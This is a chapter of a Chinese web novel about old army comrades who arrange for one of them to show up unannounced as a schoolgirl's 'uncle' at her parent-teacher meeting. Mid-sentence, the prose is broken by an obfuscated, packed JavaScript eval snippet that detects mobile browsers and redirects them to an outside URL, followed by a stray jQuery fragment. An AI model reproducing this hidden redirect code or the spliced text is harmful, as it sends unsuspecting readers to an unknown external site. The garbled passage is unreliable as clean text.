倪雄英和洪大通说了半天话,突然注意到一门心思只在喝茶上的齐定国。
嘿,他内个暴脾气,一下就上来了,当即开口。
“齐定国,你是牛转世啊,这么缺水喝。”
“你看看你,脾气还是这么爆,喝喝茶,消消气,生气伤肝~”
齐定国气定神闲地敷衍了倪雄英一句,继续喝茶。
老战友随时都可以联系,儿子泡的茶我可是一年到头都喝不了几回,今儿个便宜死你们了。
齐老头在心里嘀嘀咕咕。
倪雄英和齐定国起码有三十多年交情了,看到他这模样,就知道心里头嘀咕的肯定不是什么好话。
白了他一眼,和他谈了会正事。
正事谈完以后,倪雄英才装作不经意地开口:“学校最近是不是要开家长会了。”
齐定国一听,今天的重点来了。
难得看老战友这么一副扭扭捏捏的样子,齐定国不打算这么快点破他的小心思,装傻反问:
“是吗?唉,最近实在是有太多事,太忙了太忙了,我都记不来了。诶,小齐,帮你倪叔看一下,我们最近是不是有年段要开家长会。”
你一撅腚我就知道肯定没放什么好屁。
倪雄英瞪了一眼装傻充愣的齐定国,又不好意思直接开口问,到时反倒随了他的愿,只也装作是心血来潮的样子。
齐丛无奈地看了一眼年纪越大越幼稚的老头,对着倪雄英礼数周全地回答道:
“后天将会统一开展高一的家长会,具体情况伯父可以问问大通哥。”
“嗨呀,我知道你要问什么,你别说,倪苒这小丫头考出来的成绩是真亮眼。”
“嘿,你小子,欠扁是吧,知道我想问什么还这副鬼样子。”
“三天、不打、上房、揭瓦。”
倪雄英一边断句,一边在洪大通的脑袋上抽了几巴掌。
巴掌一个接一个,声音脆响,一听就知道,这是个好脑瓜。
眼看倪雄英就要恼羞成怒,齐老头生怕下一个挨抽的轮到自己。
这疯狗发起疯来可不管小辈在不在场的。
齐定国不再逗弄他,好奇地问道:“怎么,不走徐徐图之的路了,终于舍得摊牌了?”
“人生苦短,这次只是意外,万一下次我出什么问题了,我悔都会悔死。感情吧,后面再培养也是一样的。”
“当初就跟你说了,让你先把人给护着,自己心里好歹也有个底,你非得说什么慢慢来,不要吓到她,让她有个接受的过程......”
“现在好了,人家出事你都没理由参手。”
“不是我说你,都多久过去了,大半个月快一个月了吧,你现在还在陌生人的阶段。就算是慢慢来,这也太慢了吧。”
“......”
齐定国一开口,就停不下来了。
刚开始,倪雄英还忍着性子听了几句。毕竟里面有些话还是能听的。
但眼看齐定国是难得找到说教自己的机会,越说越停不下来了,倪雄英终于忍不住让他住嘴。
“呀,这我懂,破防了,是这么说的吧大通,我看网上大家都是这样讲的。”
“对对对,老班长这反应和破防一样一样的。”
倪雄英听着这俩乐子人一唱一和,忍无可忍,捏起拳头准备一人来一下。
“哎呦!”
洪大通捂着自己的头,隐隐感觉自己的脑袋顶上马上要长出一个大包。
他看向另一边,齐老头却安然无恙。
倪雄英看着齐定国不再年轻的脸,终究还是下不去手。
况且,小辈还在这儿呢,也不能一点面子都不留。
忍,我忍。
但忍一时风平浪静,退一步越想越气。
倪雄英捏着拳头,在心里哄了自己一分钟也没把自己哄好。
不行,我忍不了了!
倪雄英实在是气不过,他又捏起拳头,重重地在洪大通刚移开手的脑袋上又来了一下。
第二击重锤落在了和刚刚同样的位置,疼痛加倍。
“哎呦!”
又关我什么事儿啊!
洪大通立刻抱头,牢牢护住自己的脑袋,觉得自己委屈极了。
他抬起脸,想要奋起反抗,但和倪雄英隐含威胁的眼神对视过后,就屈服于倪雄英的淫威之下。
只敢在暗地里偷偷用自己毫无威慑力的眼神控诉倪雄英的暴行。
呜呜呜呜呜,这一点也不公平——
洪大通咬着手帕纸,泪眼汪汪。
“我们队里什么时候讲过公平,服从命令才是军人的天职!”
倪雄英丝毫不觉得自己有问题,他对洪大通反问道:
“怎么?你有问题?”
你敢,有问题?
面前人一脸狞笑,摩拳擦掌,把手指的关节骨按得噼啪作响,整个人跃跃欲试。
洪大通仿佛已经看到了拳头砸到自己脸上的惨状。
“没有没有没有没有没有。”
洪大通连连摇头加摆手,比之刚开始不知道乖顺了多少倍。
“那你现在是打算怎么办,乘着开家长会的时机和她坦白?”
齐定国热闹看够了,再次把话题拉回到正轨。
“我也不知道啊,所以这不是来找你们了,结果一个两个的都不靠谱。”
倪雄英撇撇嘴,显然对两个战友的表现十分不满。
齐定国脑筋一转,一个馊主意就出现在他脑子了里。
“这样,你俩靠过来点。我们可以......”
齐定国身子微微前倾,就像是和朋友分享自己小秘密的小朋友一样,神神秘秘地对另外两个人招呼道。
齐丛在一旁听着,表情变幻莫测,几欲开口。
但看到越来越兴奋的三个人,还是强行按耐下自己想要开口冒犯的冲动。
老小孩老小孩,真是越活越回去了。
倪苒你,自求多福吧。
......
家长会当天。
倪苒已经提前和洪大通说过自己的家庭情况了。
洪大通表示:放心,一切尽在自己的掌握之中。
于是当天晚上,倪苒十分轻松地坐在自己的位置上,准备自己充当自己的家长,等待聆听洪大通滔滔不绝的文稿。
但是......
倪苒看着台上正在侃侃而谈,号称是自己“伯父”的男人。
倪苒:“?”
十分钟之前。
教室已经坐的满满当当,人都差不多来齐了。
可能是为了打造更“亲密”的交流氛围与环境,孩子需陪同家长一起参加家长会。
学校的课桌足够长,足够大,在只是开会的前提下容纳两个人绰绰有余。在每排两侧各多加一张椅子,家长的座位就算排好了。
班上几乎所有同学的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12993537|136751||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
家长都来了,偶尔有一两个看扮相就知道是秘书助理的。
就连钟浅浅也和洛以寒换了一个位置,坐在南清逸的旁边,两侧分别是他们的父亲和母亲。
此时,南父南母正对着钟浅浅嘘寒问暖,一家人看起来其乐融融。
只有倪苒的桌后只有她一个人,显得更加空旷。
倪苒简单和项清越的长辈礼貌打了声招呼,家长会就要开始了。
洪大通走上了讲台。
他首先来了个惯常的开场白:
“各位家长想必已经拿到了各位孩子的成绩,无论是好还是坏,成绩既然已经出来,也无法改变。所以,事后复盘还是很重要的。”
“总体而言,我们班的成绩还是很不错的,除了极——个别同学全科都在平均线水平之下以外......”
说到这儿,他分别若有若无地朝杜慕灵和洛以寒的方向看了一眼。
杜慕灵撇了撇嘴,一把把头扭到另一边,看上去很不服气。杜慕灵的长辈则一副头疼的模样,显然也对此束手无策。
洛以寒则羞愧地低下了头,旁边的爸爸看起来却并不在意,一副乐呵呵的模样。
“这里,要特别表扬的是钟浅浅同学,虽然成绩对比起来也不是很理想,但是和开学时相比已经进步非常大,再接再厉。”
听到自己的名字,钟浅浅就像是被主人点名表扬的小狗,眼睛一下亮了起来,背后的尾巴都跟着竖了起来,在身后不停晃动。
南清逸看着和小时候别无二致的钟浅浅,眼中的慈爱让他整个人都散发出母爱的光辉。
南父南母则互相对视了一眼,看着自己的两个孩子,感到无比满足。
“但我们班最主要的问题还是偏科,实在是太严重了!”
“全年段的单科第一全部都被我们班包揽,但年级前二十我们班却只有五个。”
洪大通说到这儿,痛心疾首。
“哪怕不喜欢,但偶尔还是要学一学的。”
这句话是专门看着颜玄说的。
洪大通其实还也想对慧白说,但看看慧白旁若无人的模样,到嘴边的话被强行咽了下去,只好悻悻地闭上了嘴。
“像不偏科的倪苒同学和项清越同学,她们两个人就分别是年段第一和年段第二,其他比如还有南清逸,阳耀,唐曼香等同学,各科也都很平均,所以也在年级前二十。”
“特别是倪苒同学,除了总分第一以外,还有很多单科也是第一。各科老师都对倪苒同学的试卷赞不绝口,特别给我们班级长脸。”
想起这些天来办公室里其他班班主任的阴阳怪气,整个办公室充斥着一股浓浓的酸味,洪大通的脸一下就笑成了一朵菊花,越开越灿烂。
听到这些夸赞,倪苒只是有点尴尬,但还可以忍受,但洪大通猝不及防的下一句话却让倪苒满头问号。
“想必大家一定都很想知道,倪苒同学为什么会这么优秀,这个问题,我们特意邀请了倪苒同学的伯父,倪雄英家长为我们分享一下经验。”
顿时,掌声雷动。
台下窃窃私语,但几乎都对倪雄英的到来毫不意外。
除了当事人,此时仍在状况外。
倪苒:“?”
谁?
谁的家长?
我上哪儿来的伯父。
谁告诉你姓倪就是我的家长,照这个说法,你怎么不认洪秀全做祖宗,还能cos一把上帝的子孙。